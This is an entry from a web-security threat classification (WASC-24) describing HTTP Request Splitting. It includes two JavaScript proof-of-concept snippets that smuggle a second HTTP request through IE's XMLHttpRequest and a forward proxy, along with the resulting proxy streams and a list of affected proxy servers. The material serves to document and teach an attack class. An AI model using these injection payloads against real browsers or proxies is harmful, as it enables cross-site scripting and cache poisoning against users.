The Web Application Security Consortium / HTTP Request Splitting
View
 

HTTP Request Splitting

Page history last edited by Robert Auger 13 years, 10 months ago

Threat Type: Attack

Reference ID: WASC-24

 

HTTP Request Splitting

HTTP Request Splitting is an attack that enables forcing the browser to send arbitrary HTTP requests, inflicting XSS and poisoning the browser's cache. The essence of the attack is the ability of the attacker, once the victim (browser) is forced to load the attacker's malicious HTML page, to manipulate one of the browser's functions to send 2 HTTP requests instead of one HTTP request. Two such mechanisms have been exploited to date: the XmlHttpRequest object (XHR for short) and the HTTP digest authentication mechanism. For this attack to work, the browser must use a forward HTTP proxy (not all of them "support" this attack), or the attack must be carried out against a host located on the same IP (from the browser's perspective) with the attacker's machine.

 

Basic attack example using XHR

Here's a JavaScript code (in the www.attacker.site domain) that can be used with IE 6.0 SP2 to send an arbitrary HTTP request to www.target.site (assuming the browser uses a forward proxy server). The arbitrary request is a GET request to /page,cgi?parameters, with HTTP/1.0 protocol, and with an additional "Foo:Bar" HTTP request header:

 var x = new ActiveXObject("Microsoft.XMLHTTP");
 
 x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
 /1.0\r\nHost:\twww.target.site\r\nFoo:Bar\r\n\r\nGET\thttp://nosuchhost/\tHTTP 
 /1.0\r\nBaz:","http://www.attacker.site/",false);
 x.send();
 alert(x.responseText);

From the browser's perspective, a single HTTP request is sent (with a long and very weird method specified by the sending HTML page...), whose target is www.attacker.site, i.e. not breaking the same origin policy, hence allowed.

Looking at the actual TCP stream, the forward proxy server receives:

 

 GET\thttp://www.target.site/page.cgi?parameters\tHTTP/1.0
 Host:\twww.target.site
 Foo:Bar
 GET\thttp://nosuchhost/\tHTTP/1.0
 Baz: http://www.attacker.site HTTP/1.0
 [...additional HTTP request headers added by the browser...]

Notice the use of HT (Horizontal Tab, ASCII 0x09) instead of SP (Space, ASCII 0x20) in the HTTP request line (the attacker has to resort to this because IE doesn't allow Space in the method field). This is clearly not allowed by the HTTP/1.1 RFC, yet many proxy servers do allow this syntax, and moreover, will convert HT to SP in the outgoing request (so the web server will have no idea that HTs were used).

Some proxy servers that allow HT as a separator in the request line are:

  • Apache 2.0.54 (mod_proxy)
  • Squid 2.5.STABLE10-NT
  • Sun Java System Web Proxy Server 4.0

The net result is that the browser sent an arbitrary HTTP request (the first request that the proxy sees).

Alternatively, the XHR's username parameter may be used (with HTTP digest authentication), or the username:password@host URL format can be used(with HTTP digest authentication).

The above example demonstrated injecting an arbitrary HTTP request to the HTTP stream the browser sends out (e.g. to the proxy).

 

XSS and Web cache poisoning

In the above attack, notice that the proxy server sees two requests, while from the browser's perspective, only one request was sent. Notice also that the second request (from the proxy's perspective) is still mostly controlled by the attacker. The proxy therefore sends back two responses. The first response is consumed by the XHR object, and the second response is pending. The attacker needs to force the browser to send an additional (second) request, which will be matched to the second response from the proxy. Since the attacker controls the URL of the second proxy request, that URL can lead to the attacker's site with arbitrary content.

Here is the modified example:

 var x = new ActiveXObject("Microsoft.XMLHTTP");

 x.open("GET\thttp://www.attacker.site/page1\tHTTP
 /1.0\r\nHost:\twww.attacker.site\r\nProxy-Connection:\tKeep-
 Alive\r\n\r\nGET","http://www.attacker.site/page2",false);

 x.send();

 window.open("http://www.target.site/index.html");

The proxy will see:

 GET\thttp://www.target.site/page1\tHTTP/1.0
 Host:\twww.target.site
 Proxy-Connection:\tKeep-Alive
 GET http://www.attacker.site HTTP/1.0
 [...additional HTTP request headers added by the browser...]

It will respond with 2 HTTP responses: the first (http://www.attacker.site/page1) will be consumed by the XHR object, and the second (http://www.attacker.site/page2) will wait in the browser's response queue until the browser requests http://www.target.site/index.html, and then the browser will match the response from http://www.attacker.site/page2 to the URL http://www.target.site/index.html (and will display the attacker's page in the window with that URL). Naturally this means both XSS and browser cache poisoning. As explained in the references, this attack needs tailoring according to the proxy server in use by the browser.

 

References

"XMLHttpRequest header spoofing" (Mozilla Foundation Security Advisory 2005-58), due to Tim Altman and Yutaka Oiwa, September 22nd, 2005.

[1] http://www.mozilla.org/security/announce/2005/mfsa2005-58.html#xmlhttp

 

"Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and a lot more...", Amit Klein, September 24th, 2005.

[2] http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2005-September/000439.html

 

"IE + some popular forward proxy servers = XSS, defacement (browser cache poisoning)", Amit Klein, May 22nd, 2006.

[3] http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2006-May/001199.html

 

"IE 7 and Firefox Browsers Digest Authentication Request Splitting", Stefano Di-Paola, April 25th, 2007.

[4] http://www.wisec.it/vulns.php?id=11 

Comments (0)

You don't have permission to comment on this page.